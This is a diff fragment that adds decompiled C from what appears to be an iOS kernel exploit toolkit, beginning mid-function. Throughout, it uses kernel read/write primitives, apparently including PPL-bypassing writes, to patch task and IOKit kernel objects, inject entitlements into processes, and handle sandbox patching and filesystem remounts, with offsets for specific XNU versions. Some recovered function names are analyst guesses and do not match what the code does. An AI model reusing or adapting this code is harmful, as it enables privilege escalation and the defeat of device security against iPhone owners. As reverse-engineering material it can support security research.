+  if ( !(unsigned int)j__fileport_makeport(w1_0, &a2) && a2 )
+  {
+    v4 = get_task_kobject_addr(krwCtx, a2);
+    if ( !v4 )
+      goto LABEL_19;
+    xnuMajorVersion = krwCtx->xnuMajorVersion;
+    if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 7195 && xnuMajorVersion != 6153 )
+      return 0;
+    if ( kread_physmap_decorated(krwCtx, v4 + 56, &v10)
+      && validate_kaddr_range(krwCtx, v10)
+      && kread_physmap_decorated(krwCtx, v10 + 216, (unsigned __int64 *)&v9) )
+    {
+      if ( validate_kaddr_range(krwCtx, v9) )
+        v3 = v9;
+      else
+        v3 = 0;
+    }
+    else
+    {
+LABEL_19:
+      v3 = 0;
+    }
+    mach_port_destroy(mach_task_self_, a2);
+    return v3;
+  }
+  return 0;
+}
+
+//----- (0000000000014D98) ----------------------------------------------------
+__int64 __fastcall validate_physmap_range_4(struct_krwCtx *krwCtx, char *a2, int a3, unsigned int *a4)
+{
+  int v7; // w0
+  int v8; // w19
+  __int64 v9; // x0
+  int xnuMajorVersion; // w8
+  __int64 v11; // x8
+  __int64 v12; // x23
+  mach_vm_address_t v13; // x24
+  unsigned int v15; // [xsp+Ch] [xbp-34h] BYREF
+
+  v7 = open(a2, 0);
+  if ( v7 != -1 )
+  {
+    v8 = v7;
+    v9 = get_kernel_base_physmap(krwCtx, v7);
+    if ( v9 )
+    {
+      xnuMajorVersion = krwCtx->xnuMajorVersion;
+      if ( (unsigned int)(xnuMajorVersion - 8019) < 2 )
+      {
+        v11 = 548;
+      }
+      else if ( xnuMajorVersion == 6153 )
+      {
+        v11 = 456;
+      }
+      else
+      {
+        if ( xnuMajorVersion != 7195 )
+          goto LABEL_18;
+        v11 = 476;
+        if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
+          v11 = 452;
+      }
+      v13 = v11 + v9;
+      v12 = 0;
+      if ( !kread_u32(krwCtx, v11 + v9, &v15) || v15 > 1 )
+        goto LABEL_19;
+      if ( noppl_kwrite32(krwCtx, v13, a3) )
+      {
+        if ( a4 )
+          *a4 = v15;
+        v12 = 1;
+        goto LABEL_19;
+      }
+    }
+LABEL_18:
+    v12 = 0;
+LABEL_19:
+    close(v8);
+    return v12;
+  }
+  return 0;
+}
+
+//----- (0000000000014EC4) ----------------------------------------------------
+__int64 __fastcall get_kernel_load_addr_bsm(__int64 a1, const char *a2, unsigned int a3)
+{
+  struct apfs_mount_args
+  {
+    uint64_t device;
+    uint64_t flags;
+    uint8_t reserved[0x118];
+  } args = {0};
+
+  args.device = a1;
+  args.flags = a3;
+  return mount("apfs", a2, a3, &args);
+}
+
+//----- (0000000000014F5C) ----------------------------------------------------
+__int64 __fastcall remount_hfs(__int64 a1, const char *a2, int a3)
+{
+  struct hfs_mount_args
+  {
+    uint64_t device;
+    uint8_t reserved[0x28];
+  } args = {0};
+
+  args.device = a1;
+  return mount("hfs", a2, a3, &args);
+}
+
+//----- (0000000000014F9C) ----------------------------------------------------
+bool check_root_is_apfs()
+{
+  unsigned int v0; // w0
+  bool v1; // w23
+  __int64 v2; // x22
+  char *f_mntonname; // x19
+  struct statfs *v5; // [xsp+8h] [xbp-38h] BYREF
+
+  v5 = 0;
+  v0 = getmntinfo(&v5, 0);
+  v1 = 0;
+  if ( v0 )
+  {
+    v2 = v0;
+    f_mntonname = v5->f_mntonname;
+    do
+    {
+      if ( !strcmp("/", f_mntonname) )
+        v1 = strncmp("apfs", f_mntonname - 16, 0x10u) == 0;
+      f_mntonname += 2168;
+      --v2;
+    }
+    while ( v2 );
+  }
+  return v1;
+}
+
+//----- (000000000001503C) ----------------------------------------------------
+__int64 __fastcall krw_inject_entitlements_maybe(struct_krwCtx *krwCtx, __int64 task, char *entitlementXml)
+{
+  int v4; // w23
+  uint64_t v7; // x24
+  void *v8; // x22
+  CFPropertyListRef v9; // x21
+  const struct __CFData *v10; // x20
+  size_t v11; // x0
+  void *(__cdecl *v12)(void *); // x0
+  const struct __CFData *Data; // x0
+  const struct __CFData *v14; // x23
+  size_t Length; // x24
+  const UInt8 *BytePtr; // x0
+  int v17; // w0
+  unsigned int v18; // w0
+  mach_port_name_t v19; // w23
+  int v20; // w8
+  unsigned __int64 v21; // x0
+  int v22; // w23
+  CFPropertyListFormat format; // [xsp+8h] [xbp-108h] BYREF
+  CFTypeRef cf; // [xsp+10h] [xbp-100h] BYREF
+  __int64 address; // [xsp+18h] [xbp-F8h] BYREF
+  int v26; // [xsp+20h] [xbp-F0h]
+  CFTypeRef v27; // [xsp+28h] [xbp-E8h]
+  mach_port_name_t name[2]; // [xsp+30h] [xbp-E0h] BYREF
+  int v29; // [xsp+38h] [xbp-D8h]
+  pthread_t v30; // [xsp+40h] [xbp-D0h] BYREF
+  pthread_attr_t v31; // [xsp+48h] [xbp-C8h] BYREF
+
+  v4 = task;
+  format = kCFPropertyListXMLFormat_v1_0;
+  cf = 0;
+  if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8019, 0, 0, 0, 0) )
+  {
+    v7 = 0;
+    if ( (unsigned int)acquire_write_semaphore_lock(krwCtx, 0, 0x2710u) )
+      return v7;
+    v31.__sig = krwCtx;
+    *(uint32_t *)&v31.__opaque[4] = 0;
+    *(uint32_t *)v31.__opaque = v4;
+    *(uint64_t *)&v31.__opaque[8] = &cf;
+    *(uint64_t *)&v31.__opaque[16] = 0;
+    v7 = 0;
+    v8 = 0;
+    if ( pthread_create_and_join(krwCtx, (__int64)find_connect_ioavservice, &v31) )
+    {
+      v9 = 0;
+      v10 = 0;
+      if ( *(uint32_t *)&v31.__opaque[16] )
+      {
+        v11 = strlen(entitlementXml);
+        v10 = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, (const UInt8 *)entitlementXml, v11 + 1, kCFAllocatorNull);
+        if ( !v10 )
+        {
+          v8 = 0;
+          v9 = 0;
+          goto LABEL_15;
+        }
+        v9 = CFPropertyListCreateWithData(kCFAllocatorDefault, v10, 0, &format, 0);
+        if ( !v9 )
+          goto LABEL_12;
+        if ( (unsigned int)merge_cfdict_entries(cf, v9) )
+        {
+          if ( (unsigned int)compare_cfdict_entries(cf, v9) )
+          {
+LABEL_12:
+            v8 = 0;
+            goto LABEL_15;
+          }
+          if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(7195, 42, 1, 0, 0) && (krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 )
+          {
+            address = krwCtx;
+            v26 = v4;
+            v27 = cf;
+            if ( pthread_attr_init(&v31) )
+              goto LABEL_12;
+            if ( pthread_attr_setdetachstate(&v31, 1)
+              || (v30 = 0,
+                  v29 = 4097,
+                  *(uint64_t *)name = &address,
+                  v12 = (void *(__cdecl *)(void *))nullsub_1(get_kernel_task_iokit),
+                  pthread_create(&v30, &v31, v12, name))
+              || pthread_join(v30, 0) )
+            {
+              pthread_attr_destroy(&v31);
+              goto LABEL_12;
+            }
+            v22 = v29;
+            pthread_attr_destroy(&v31);
+            v8 = 0;
+            if ( v22 )
+              goto LABEL_15;
+          }
+          else
+          {
+            Data = CFPropertyListCreateData(kCFAllocatorDefault, cf, kCFPropertyListXMLFormat_v1_0, 0, 0);
+            if ( !Data )
+              goto LABEL_12;
+            v14 = Data;
+            Length = CFDataGetLength(Data);
+            v8 = calloc(Length + 1, 1u);
+            if ( !v8 )
+            {
+              CFRelease(v14);
+              goto LABEL_15;
+            }
+            BytePtr = CFDataGetBytePtr(v14);
+            memcpy(v8, BytePtr, Length);
+            CFRelease(v14);
+            name[0] = 0;
+            address = 0;
+            v17 = strlen((const char *)v8);
+            v18 = register_ioservice_publish_notify((__int64)v8, v17 + 1, name);
+            if ( v18 + 1 <= 1 )
+            {
+LABEL_15:
+              v7 = 0;
+              goto LABEL_16;
+            }
+            v19 = v18;
+            v20 = krwCtx->xnuMajorVersion;
+            v7 = ((unsigned int)(v20 - 8019) < 2 || v20 == 7195 || v20 == 6153)
+              && (v21 = get_task_kobject_addr(krwCtx, v18), (address = v21) != 0)
+              && kread_physmap_decorated(krwCtx, v21 + 16, (unsigned __int64 *)&address)
+              && kread_physmap_decorated(krwCtx, address + 24, (unsigned __int64 *)&address)
+              && noppl_kwrite32(krwCtx, address + krwCtx->stride_0x168, 255)
+              && (unsigned int)krw_read_thunk(krwCtx, address, 40, &v31)
+              && (unsigned int)kwrite_with_retry(
+                                 krwCtx,
+                                 krwCtx->gap_0x390 + krwCtx->stride_0x168,
+                                 (__int64)&v31 + krwCtx->stride_0x168,
+                                 (unsigned int)(40 - krwCtx->stride_0x168)) != 0;
+            mach_port_destroy(mach_task_self_, v19);
+            if ( name[0] + 1 >= 2 )
+              mach_port_destroy(mach_task_self_, name[0]);
+            if ( !v7 )
+              goto LABEL_16;
+          }
+        }
+        else
+        {
+          v8 = 0;
+        }
+        v7 = 1;
+      }
+    }
+    else
+    {
+      v9 = 0;
+      v10 = 0;
+    }
+LABEL_16:
+    release_write_semaphore_lock(krwCtx, 0);
+    if ( cf )
+      CFRelease(cf);
+    if ( v9 )
+      CFRelease(v9);
+    if ( v10 )
+      CFRelease(v10);
+    if ( v8 )
+      free(v8);
+    return v7;
+  }
+  return krw_inject_entitlements2_maybe(krwCtx, task, entitlementXml, 1);
+}
+// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
+
+//----- (00000000000154D0) ----------------------------------------------------
+__int64 __fastcall krw_inject_entitlements_to_task(struct_krwCtx *krwCtx, __int64 a2, char *a3, __int64 a4, int a5)
+{
+  __int64 result; // x0
+  __int64 v10; // x23
+  int v11; // [xsp+Ch] [xbp-34h] BYREF
+
+  v11 = 0;
+  if ( (a5 & 0xB) == 0 )
+    return 0;
+  result = task_self_get_ipc_port(krwCtx, a2);
+  if ( result )
+  {
+    result = get_task_struct_offset(krwCtx, result);
+    if ( result )
+    {
+      v10 = result;
+      result = krw_read_thunk(krwCtx, result, 4, &v11);
+      if ( (uint32_t)result )
+      {
+        if ( (v11 & a5) == 0 )
+        {
+          result = krw_inject_entitlements_maybe(krwCtx, a2, a3);
+          if ( (uint32_t)result )
+          {
+            v11 |= a5;
+            return kwrite_with_retry(krwCtx, v10, (__int64)&v11, 4);
+          }
+        }
+      }
+    }
+  }
+  return result;
+}
+
+//----- (00000000000155A0) ----------------------------------------------------
+__int64 __fastcall find_connect_ioavservice(__int64 a1)
+{
+  __int64 v2; // x21
+  struct_krwCtx *krwCtx; // x21
+  unsigned int v3; // w1
+  CFMutableDictionaryRef *v4; // x25
+  __int64 result; // x0
+  io_service_t v6; // w20
+  __int64 v7; // x22
+  int v8; // w0
+  kern_return_t v9; // w23
+  int v10; // w24
+  int v11; // w0
+  unsigned __int64 v12; // x0
+  unsigned __int64 v13; // x23
+  io_object_t v14; // w22
+  mach_vm_address_t v15; // x23
+  __int64 v16; // x2
+  kern_return_t v17; // w24
+  io_iterator_t iterator[2]; // [xsp+8h] [xbp-68h] BYREF
+  CFMutableDictionaryRef properties; // [xsp+10h] [xbp-60h] BYREF
+  __int64 v20; // [xsp+18h] [xbp-58h] BYREF
+  __int64 v21; // [xsp+20h] [xbp-50h] BYREF
+  io_connect_t connect; // [xsp+2Ch] [xbp-44h] BYREF
+
+  v2 = *(uint64_t *)a1;
+  krwCtx = KRWCTX_FROM_UINTPTR(v2);
+  v3 = *(uint32_t *)(a1 + 8);
+  v4 = *(CFMutableDictionaryRef **)(a1 + 16);
+  connect = 0;
+  v20 = 0;
+  v21 = 0;
+  properties = 0;
+  result = necp_set_opt_string_6(krwCtx, v3);
+  if ( !(uint32_t)result )
+    goto LABEL_14;
+  result = validate_kaddr_range(v2, *(uint64_t *)(v2 + 912));
+  if ( !result )
+    goto LABEL_14;
+  if ( *(int *)(v2 + 320) < 7195 )
+  {
+    result = (__int64)ioservice_get_matching("AppleM2ScalerCSCDriver");
+    v6 = result;
+  }
+  else
+  {
+    v6 = (unsigned int)ioservice_get_matching("AppleKeyStore");
+    result = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED);
+    if ( !(uint32_t)result )
+    {
+      v7 = *(uint64_t *)(v2 + 936);
+      goto LABEL_8;
+    }
+  }
+  v7 = 0;
+LABEL_8:
+  if ( v6 + 1 < 2 )
+  {
+LABEL_14:
+    v10 = 0;
+    goto LABEL_15;
+  }
+  if ( v7 )
+  {
+    if ( !necp_set_opt_string_7(krwCtx, *(uint32_t *)(v2 + 892), 0) )
+    {
+LABEL_19:
+      v10 = 0;
+      goto LABEL_20;
+    }
+    v9 = IOServiceOpen(v6, mach_task_self_, 0, &connect);
+    v10 = 0;
+    if ( !necp_set_opt_string_7(krwCtx, *(uint32_t *)(v2 + 892), v7) || v9 )
+      goto LABEL_20;
+LABEL_17:
+    iterator[0] = 0;
+    v12 = get_task_kobject_addr(krwCtx, connect);
+    if ( !v12 )
+      goto LABEL_19;
+    v13 = v12;
+    if ( IORegistryEntryGetChildIterator(v6, "IOService", iterator) )
+      goto LABEL_19;
+    while ( 1 )
+    {
+      v14 = IOIteratorNext(iterator[0]);
+      if ( !v14 )
+        break;
+      if ( v13 == get_task_kobject_addr(krwCtx, v14) )
+        goto LABEL_27;
+      IOObjectRelease(v14);
+    }
+    v13 = 0;
+LABEL_27:
+    IOObjectRelease(iterator[0]);
+    v10 = 0;
+    if ( !v14 || !v13 )
+    {
+LABEL_43:
+      if ( v14 + 1 >= 2 )
+        IOObjectRelease(v14);
+      goto LABEL_20;
+    }
+    v15 = v13 + 32;
+    if ( kread_physmap_decorated(krwCtx, v15, (unsigned __int64 *)&v21) )
+    {
+      v16 = *(uint64_t *)(v2 + 912);
+      if ( *(uint64_t *)(v2 + 344) < XNU_VERSION_PACKED(8019, 0, 0, 0, 0) )
+      {
+        v20 = *(uint64_t *)(v2 + 912);
+LABEL_35:
+        if ( kwrite64(v2, v15, v16) )
+        {
+          v17 = IORegistryEntryCreateCFProperties(v14, &properties, kCFAllocatorDefault, 0);
+          if ( !kwrite64(v2, v15, v21) || v17 )
+          {
+            if ( properties )
+              CFRelease(properties);
+          }
+          else if ( properties )
+          {
+            *v4 = properties;
+            v10 = 1;
+            goto LABEL_43;
+          }
+        }
+        goto LABEL_42;
+      }
+      if ( kread_physmap_decorated(krwCtx, v16 + 136, (unsigned __int64 *)&v20) && validate_kaddr_range(v2, v20) )
+      {
+        v16 = v20;
+        goto LABEL_35;
+      }
+    }
+LABEL_42:
+    v10 = 0;
+    goto LABEL_43;
+  }
+  v10 = 0;
+  if ( !IOServiceOpen(v6, mach_task_self_, 0, &connect) )
+    goto LABEL_17;
+LABEL_20:
+  if ( connect + 1 >= 2 )
+  {
+    *(uint64_t *)iterator = 1;
+    IOServiceClose(connect);
+    IOServiceWaitQuiet(v6, (mach_timespec_t *)iterator);
+  }
+  result = IOObjectRelease(v6);
+LABEL_15:
+  *(uint32_t *)(a1 + 24) = v10;
+  return result;
+}
+// 15664: variable 'v8' is possibly undefined
+// 1569C: variable 'v11' is possibly undefined
+
+//----- (0000000000015880) ----------------------------------------------------
+__int64 __fastcall get_kernel_task_iokit(__int64 a1)
+{
+  __int64 v2; // x21
+  struct_krwCtx *krwCtx; // x21
+  task_inspect_t v3; // w25
+  const void *v4; // x20
+  host_t v5; // w0
+  kern_return_t v6; // w0
+  int v7; // w23
+  unsigned int v8; // w22
+  vm_address_t v9; // x1
+  unsigned __int64 v10; // x20
+  mach_port_t v11; // w8
+  thread_act_t v12; // w0
+  kern_return_t v13; // w0
+  unsigned int v14; // w8
+  const struct __CFData *v16; // x0
+  const struct __CFData *v17; // x20
+  const UInt8 *BytePtr; // x22
+  unsigned int Length; // w0
+  unsigned int v20; // w24
+  bool v21; // zf
+  unsigned __int64 v22; // x0
+  int v23; // w26
+  int v24; // w8
+  thread_act_t v27; // w0
+  mach_port_t v28; // w0
+  kern_return_t v29; // w0
+  unsigned __int64 v30; // x23
+  mach_port_t v31; // w8
+  thread_act_t v32; // w0
+  int v33; // w0
+  int v34; // w0
+  unsigned __int64 v35; // x0
+  __int64 v36; // x8
+  int v37; // w0
+  unsigned __int64 v38; // [xsp+0h] [xbp-70h] BYREF
+  task_suspension_token_t suspend_token[2]; // [xsp+8h] [xbp-68h] BYREF
+  vm_address_t address; // [xsp+10h] [xbp-60h] BYREF
+  io_master_t io_master[2]; // [xsp+18h] [xbp-58h] BYREF
+
+  v2 = **(uint64_t **)a1;
+  krwCtx = KRWCTX_FROM_UINTPTR(v2);
+  v3 = *(uint32_t *)(*(uint64_t *)a1 + 8LL);
+  v4 = *(const void **)(*(uint64_t *)a1 + 16LL);
+  address = 0;
+  *(uint64_t *)io_master = 0;
+  *(uint64_t *)suspend_token = 0;
+  v5 = mach_host_self();
+  v6 = host_get_io_master(v5, &io_master[1]);
+  if ( !v6 )
+  {
+    v6 = mach_port_allocate(mach_task_self_, 1u, io_master);
+    if ( !v6 )
+    {
+      v7 = 708617;
+      v16 = IOCFSerialize(v4, 1u);
+      if ( !v16 )
+        goto LABEL_4;
+      v17 = v16;
+      BytePtr = CFDataGetBytePtr(v16);
+      Length = CFDataGetLength(v17);
+      v20 = Length;
+      if ( BytePtr )
+        v21 = Length == 0;
+      else
+        v21 = 1;
+      if ( v21 )
+        goto LABEL_56;
+      if ( !*(uint64_t *)(v2 + 6568) )
+      {
+        v22 = kernel_cstring_pattern_scan(v2, "iokit.OSDictionary");
+        if ( !v22 )
+        {
+          v7 = 708625;
+          goto LABEL_56;
+        }
+        *(uint64_t *)(v2 + 6568) = v22;
+      }
+      v23 = 163855;
+      v24 = *(uint32_t *)(v2 + 320);
+      if ( (unsigned int)(v24 - 8019) >= 2 && v24 != 7195 && v24 != 6153 )
+      {
+        v7 = 163857;
+        goto LABEL_56;
+      }
+      v27 = mach_thread_self();
+      if ( !set_thread_abs_realtime_50(v27) )
+      {
+        v7 = 163896;
+        goto LABEL_56;
+      }
+      v28 = mach_thread_self();
+      v7 = kwrite_task_kobj_field_via_physmap(krwCtx, v28, 1, 1, 96);
+      if ( v7 )
+      {
+LABEL_56:
+        v8 = 0;
+LABEL_57:
+        CFRelease(v17);
+        goto LABEL_5;
+      }
+      thread_switch(0, 2, 0xAu);
+      if ( mach_task_self_ == v3 )
+      {
+        v29 = task_threads(v3, (thread_act_array_t *)&address, &suspend_token[1]);
+        if ( !v29 )
+        {
+          if ( suspend_token[1] )
+          {
+            v30 = 0;
+            do
+            {
+              if ( (unsigned int)(*(uint32_t *)(address + 4 * v30) + 1) >= 2 )
+              {
+                v31 = mach_thread_self();
+                v32 = *(uint32_t *)(address + 4 * v30);
+                if ( v31 != v32 )
+                  thread_suspend(v32);
+              }
+              ++v30;
+            }
+            while ( v30 < suspend_token[1] );
+          }
+LABEL_58:
+          if ( necp_set_opt_string_7(krwCtx, *(uint32_t *)(v2 + 888), 0) )
+          {
+            v34 = scan_kernel_page_for_pattern(
+                    krwCtx,
+                    *(uint64_t *)(v2 + 6568),
+                    0x28u,
+                    *(uint64_t *)(v2 + 912),
+                    (__int64 (__fastcall *)(__int64, __int64))test_appsepmanager_presence,
+                    0);
+            if ( v34 )
+            {
+              v8 = 0;
+              v23 = v34;
+LABEL_63:
+              v7 = v23;
+              goto LABEL_57;
+            }
+            v8 = ioservice_notification_send(io_master[1], (__int64)"IOServicePublish", (__int64)BytePtr, v20, io_master[0], 0, 0);
+            if ( v8 )
+            {
+              v35 = get_task_kobject_addr(krwCtx, v8);
+              v38 = v35;
+              if ( v35 )
+              {
+                if ( kread_physmap_decorated(krwCtx, v35 + 16, &v38)
+                  && kread_physmap_decorated(krwCtx, v38 + 24, &v38) )
+                {
+                  v36 = *(uint64_t *)(v2 + 912);
+                  if ( v36 == v38 )
+                  {
+                    if ( noppl_kwrite32(v2, v36 + *(int *)(v2 + 360), 255) )
+                    {
+                      if ( necp_set_opt_string_7(krwCtx, *(uint32_t *)(v2 + 888), *(uint64_t *)(v2 + 928)) )
+                        v23 = 0;
+                      else
+                        v23 = 163856;
+                    }
+                    else
+                    {
+                      v23 = 163856;
+                    }
+                  }
+                  else
+                  {
+                    v23 = 163900;
+                  }
+                }
+              }
+              else
+              {
+                v23 = 163854;
+              }
+              goto LABEL_63;
+            }
+          }
+          else
+          {
+            v8 = 0;
+          }
+          v23 = 4097;
+          goto LABEL_63;
+        }
+      }
+      else
+      {
+        v29 = task_suspend2(v3, suspend_token);
+        if ( !v29 )
+          goto LABEL_58;
+      }
+      v7 = v29 | 0x80000000;
+      goto LABEL_56;
+    }
+  }
+  v7 = v6 | 0x80000000;
+LABEL_4:
+  v8 = 0;
+LABEL_5:
+  if ( suspend_token[1] )
+  {
+    v9 = address;
+    if ( address )
+    {
+      v10 = 0;
+      do
+      {
+        if ( (unsigned int)(*(uint32_t *)(v9 + 4 * v10) + 1) >= 2 )
+        {
+          v11 = mach_thread_self();
+          v12 = *(uint32_t *)(address + 4 * v10);
+          if ( v11 != v12 )
+            thread_resume(v12);
+        }
+        ++v10;
+        v9 = address;
+      }
+      while ( v10 < suspend_token[1] );
+      vm_deallocate(mach_task_self_, address, 4LL * suspend_token[1]);
+    }
+  }
+  if ( suspend_token[0] + 1 >= 2 )
+  {
+    v13 = task_resume2(suspend_token[0]);
+    v14 = v13 | 0x80000000;
+    if ( v7 )
+      v14 = v7;
+    if ( v13 )
+      v7 = v14;
+  }
+  if ( io_master[1] + 1 >= 2 )
+    mach_port_deallocate(mach_task_self_, io_master[1]);
+  if ( v8 + 1 >= 2 )
+    mach_port_deallocate(mach_task_self_, v8);
+  if ( io_master[0] + 1 >= 2 )
+    mach_port_mod_refs(mach_task_self_, io_master[0], 1u, -1);
+  *(uint32_t *)(a1 + 8) = v7;
+  return 0;
+}
+// 15B94: variable 'v33' is possibly undefined
+// 15C84: variable 'v37' is possibly undefined
+